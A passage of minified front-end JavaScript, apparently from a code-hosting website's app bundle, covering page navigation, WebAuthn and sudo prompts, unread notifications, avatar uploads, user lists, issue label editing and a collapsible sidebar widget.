.js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 